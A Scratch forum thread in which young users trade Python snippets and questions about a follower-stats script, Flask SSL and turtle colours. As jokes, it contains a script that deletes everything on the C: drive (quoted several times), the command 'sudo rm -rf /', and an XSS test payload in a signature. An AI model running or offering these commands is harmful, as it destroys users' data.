Discuss Scratch
- Discussion Forums
- » Things I'm Making and Creating
- » Python programming language
- Sid72020123
- Scratcher
500+ posts
Python programming language
Python program to display the User follower History Graphically:
The above program will display the stats of griffpatch!
import scratchconnect import pyhtmlchart as chart test = scratchconnect.ScratchConnect("Username", "Password") t = test.connect_user("griffpatch") d = t.get_user_follower_history(range=365) for i in range(0, len(d)): d[i]["date"] = d[i]["date"][:9] columns = ['Date', 'Value'] data = [] for i in range(0, len(d)): list1 = [d[i]["date"], d[i]["value"]] data.append(list1) lc = chart.line_chart.LineChart("line", title="Scratch Stats!") lc.add_data(data_titles=columns, data=data) lc.open()
Sid72020123
- SonicFanX123_321
- Scratcher
1000+ posts
Python programming language
import os, shutil
folder = 'C:\'
for filename in os.listdir(folder):
file_path = os.path.join(folder, filename)
try:
if os.path.isfile(file_path) or os.path.islink(file_path):
os.unlink(file_path)
elif os.path.isdir(file_path):
shutil.rmtree(file_path)
except Exception as e:
print('Error deleting the C: drive :c')
- Chiroyce
- Scratcher
1000+ posts
Python programming language
Does this delete the C drive?!import os, shutil
folder = 'C:\'
for filename in os.listdir(folder):
file_path = os.path.join(folder, filename)
try:
if os.path.isfile(file_path) or os.path.islink(file_path):
os.unlink(file_path)
elif os.path.isdir(file_path):
shutil.rmtree(file_path)
except Exception as e:
print('Error deleting the C: drive :c')
April Fools' topics:
— New Buildings in Scratch's headquarters
— Give every Scratcher an M1 MacBook Air
— Scratch should let users edit other Scratchers' projects
— Make a statue for Jeffalo
— Scratch Tech Tips™
— Make a Chiroyce statue emoji
<img src=“x” onerror=“alert('XSS vulnerability discovered')”>
this is a test sentence
- mybearworld
- Scratcher
1000+ posts
Python programming language
[View post]Looks like it, but I don't know most of the code used hereDoes this delete the C drive?!import os, shutil
folder = 'C:\'
for filename in os.listdir(folder):
file_path = os.path.join(folder, filename)
try:
if os.path.isfile(file_path) or os.path.islink(file_path):
os.unlink(file_path)
elif os.path.isdir(file_path):
shutil.rmtree(file_path)
except Exception as e:
print('Error deleting the C: drive :c')
Signatures are the only place where assets links still work.
- roketH77
- Scratcher
1000+ posts
Python programming language
Just a question: does scratch connect cost as a bit? It requires user and password so what does it do? Python program to display the User follower History Graphically:The above program will display the stats of griffpatch!import scratchconnect import pyhtmlchart as chart test = scratchconnect.ScratchConnect("Username", "Password") t = test.connect_user("griffpatch") d = t.get_user_follower_history(range=365) for i in range(0, len(d)): d[i]["date"] = d[i]["date"][:9] columns = ['Date', 'Value'] data = [] for i in range(0, len(d)): list1 = [d[i]["date"], d[i]["value"]] data.append(list1) lc = chart.line_chart.LineChart("line", title="Scratch Stats!") lc.add_data(data_titles=columns, data=data) lc.open()
Moved to reidling–
- Sid72020123
- Scratcher
500+ posts
Python programming language
It logs in to scratch and gets the data.Just a question: does scratch connect cost as a bit? It requires user and password so what does it do? Python program to display the User follower History Graphically:The above program will display the stats of griffpatch!import scratchconnect import pyhtmlchart as chart test = scratchconnect.ScratchConnect("Username", "Password") t = test.connect_user("griffpatch") d = t.get_user_follower_history(range=365) for i in range(0, len(d)): d[i]["date"] = d[i]["date"][:9] columns = ['Date', 'Value'] data = [] for i in range(0, len(d)): list1 = [d[i]["date"], d[i]["value"]] data.append(list1) lc = chart.line_chart.LineChart("line", title="Scratch Stats!") lc.add_data(data_titles=columns, data=data) lc.open()
Last edited by Sid72020123 (July 17, 2021 15:00:53)
Sid72020123
- ScratchCatHELLO
- Scratcher
1000+ posts
Python programming language
import os, shutil
folder = 'C:\'
for filename in os.listdir(folder):
file_path = os.path.join(folder, filename)
try:
if os.path.isfile(file_path) or os.path.islink(file_path):
os.unlink(file_path)
elif os.path.isdir(file_path):
shutil.rmtree(file_path)
except Exception as e:
print('Error deleting the C: drive :c')
me, who uses linux and iPadOS: signature look of superiority
ScratchCatHELLO
I have 5600+ posts, I've been on scratch for 5 1/2 years, I'm a Forum Helper™ and I have a Scratch Wiki account!
I like: Python, CSS, Javascript, Rust
Python 3 Text Adventure
cool new browser game - cursed laughing-crying emoji - Illuminati - you know waterbenders, but do you know stock-imagebenders? - snek - vibin' - Bump song (vevo) - Speed bump - yee - fred - m i c k e y
- Chiroyce
- Scratcher
1000+ posts
Python programming language
me who uses macOS me, who uses linux and iPadOS: signature look of superiority
sudo rm -rf /
April Fools' topics:
— New Buildings in Scratch's headquarters
— Give every Scratcher an M1 MacBook Air
— Scratch should let users edit other Scratchers' projects
— Make a statue for Jeffalo
— Scratch Tech Tips™
— Make a Chiroyce statue emoji
<img src=“x” onerror=“alert('XSS vulnerability discovered')”>
this is a test sentence
- roketH77
- Scratcher
1000+ posts
Python programming language
So it's a bot?It logs in to scratch and gets the data.Just a question: does scratch connect cost as a bit? It requires user and password so what does it do? Python program to display the User follower History Graphically:The above program will display the stats of griffpatch!import scratchconnect import pyhtmlchart as chart test = scratchconnect.ScratchConnect("Username", "Password") t = test.connect_user("griffpatch") d = t.get_user_follower_history(range=365) for i in range(0, len(d)): d[i]["date"] = d[i]["date"][:9] columns = ['Date', 'Value'] data = [] for i in range(0, len(d)): list1 = [d[i]["date"], d[i]["value"]] data.append(list1) lc = chart.line_chart.LineChart("line", title="Scratch Stats!") lc.add_data(data_titles=columns, data=data) lc.open()
Last edited by roketH77 (July 17, 2021 17:57:01)
Moved to reidling–
- ScratchCatHELLO
- Scratcher
1000+ posts
Python programming language
no.So it's a bot?It logs in to scratch and gets the data.Just a question: does scratch connect cost as a bit? It requires user and password so what does it do? Python program to display the User follower History Graphically:The above program will display the stats of griffpatch!import scratchconnect import pyhtmlchart as chart test = scratchconnect.ScratchConnect("Username", "Password") t = test.connect_user("griffpatch") d = t.get_user_follower_history(range=365) for i in range(0, len(d)): d[i]["date"] = d[i]["date"][:9] columns = ['Date', 'Value'] data = [] for i in range(0, len(d)): list1 = [d[i]["date"], d[i]["value"]] data.append(list1) lc = chart.line_chart.LineChart("line", title="Scratch Stats!") lc.add_data(data_titles=columns, data=data) lc.open()
it just needs to sign in because some api endpoints require authentication, I think (although that particular piece of data probably doesn’t)
ScratchCatHELLO
I have 5600+ posts, I've been on scratch for 5 1/2 years, I'm a Forum Helper™ and I have a Scratch Wiki account!
I like: Python, CSS, Javascript, Rust
Python 3 Text Adventure
cool new browser game - cursed laughing-crying emoji - Illuminati - you know waterbenders, but do you know stock-imagebenders? - snek - vibin' - Bump song (vevo) - Speed bump - yee - fred - m i c k e y
- Meowswish55
- Scratcher
100+ posts
Python programming language
Man. Flask can be difficult to work with. Anyone know how to use SSL certs? Before I have a dedicated server and DNS domain, I want to use self-signed certs. How can I have them be used by flask? (My WSGI server is waitress.)
- Chiroyce
- Scratcher
1000+ posts
Python programming language
Use Man. Flask can be difficult to work with. Anyone know how to use SSL certs? Before I have a dedicated server and DNS domain, I want to use self-signed certs. How can I have them be used by flask? (My WSGI server is waitress.)https://replit.com , and use an uptime robot to ping the repl every 5 mins so it doesn't go to sleep
April Fools' topics:
— New Buildings in Scratch's headquarters
— Give every Scratcher an M1 MacBook Air
— Scratch should let users edit other Scratchers' projects
— Make a statue for Jeffalo
— Scratch Tech Tips™
— Make a Chiroyce statue emoji
<img src=“x” onerror=“alert('XSS vulnerability discovered')”>
this is a test sentence
- Reev0102
- Scratcher
1000+ posts
Python programming language
How do you change the pen colour in Turtle?
- Chiroyce
- Scratcher
1000+ posts
Python programming language
How do you change the pen colour in Turtle?
turtle.pencolor('red') # does this work?
April Fools' topics:
— New Buildings in Scratch's headquarters
— Give every Scratcher an M1 MacBook Air
— Scratch should let users edit other Scratchers' projects
— Make a statue for Jeffalo
— Scratch Tech Tips™
— Make a Chiroyce statue emoji
<img src=“x” onerror=“alert('XSS vulnerability discovered')”>
this is a test sentence
- Reev0102
- Scratcher
1000+ posts
Python programming language
I am aware of that method, but can you use hex or RGB? If so, how?How do you change the pen colour in Turtle?turtle.pencolor('red') # does this work?
- Chiroyce
- Scratcher
1000+ posts
Python programming language
RGB - I am aware of that method, but can you use hex or RGB? If so, how?
turtle.pencolor(83, 58, 27)
turtle.pencolor("#0000FF")
Last edited by Chiroyce (July 18, 2021 08:46:36)
April Fools' topics:
— New Buildings in Scratch's headquarters
— Give every Scratcher an M1 MacBook Air
— Scratch should let users edit other Scratchers' projects
— Make a statue for Jeffalo
— Scratch Tech Tips™
— Make a Chiroyce statue emoji
<img src=“x” onerror=“alert('XSS vulnerability discovered')”>
this is a test sentence
- Reev0102
- Scratcher
1000+ posts
Python programming language
Thanks!RGB - I am aware of that method, but can you use hex or RGB? If so, how?turtle.pencolor(83, 58, 27)
- roketH77
- Scratcher
1000+ posts
Python programming language
I’m not sure about hex either, but you have to specifically ask for 255 mode. (I don’t know the code off by heart but I can give it if you want)RGB - I am aware of that method, but can you use hex or RGB? If so, how?Hex - (not sure)turtle.pencolor(83, 58, 27)turtle.pencolor("#0000FF")
Moved to reidling–
- mrcoat
- Scratcher
100+ posts
Python programming language
I just created a scratch bot that can perform simple tasks! Check it out here!
My cartoon
Watch My Show!
I was gonna put an image of the studio but it didn't work.
Cool thing I made
when [Awesomeness v] > (100)
forever
play sound [Victory v] until done
set rotation style [The best style v]
go to [The party v]
end
- Meowswish55
- Scratcher
100+ posts
Python programming language
here!I see, I see I just created a scratch bot that can perform simple tasks! Check it out
It seems your issue with it not working is something on the server-side (assuming you are using a server that watches these cloud vars and completes operation). Otherwise, the account used by the server to like and fav the projects was probably banned.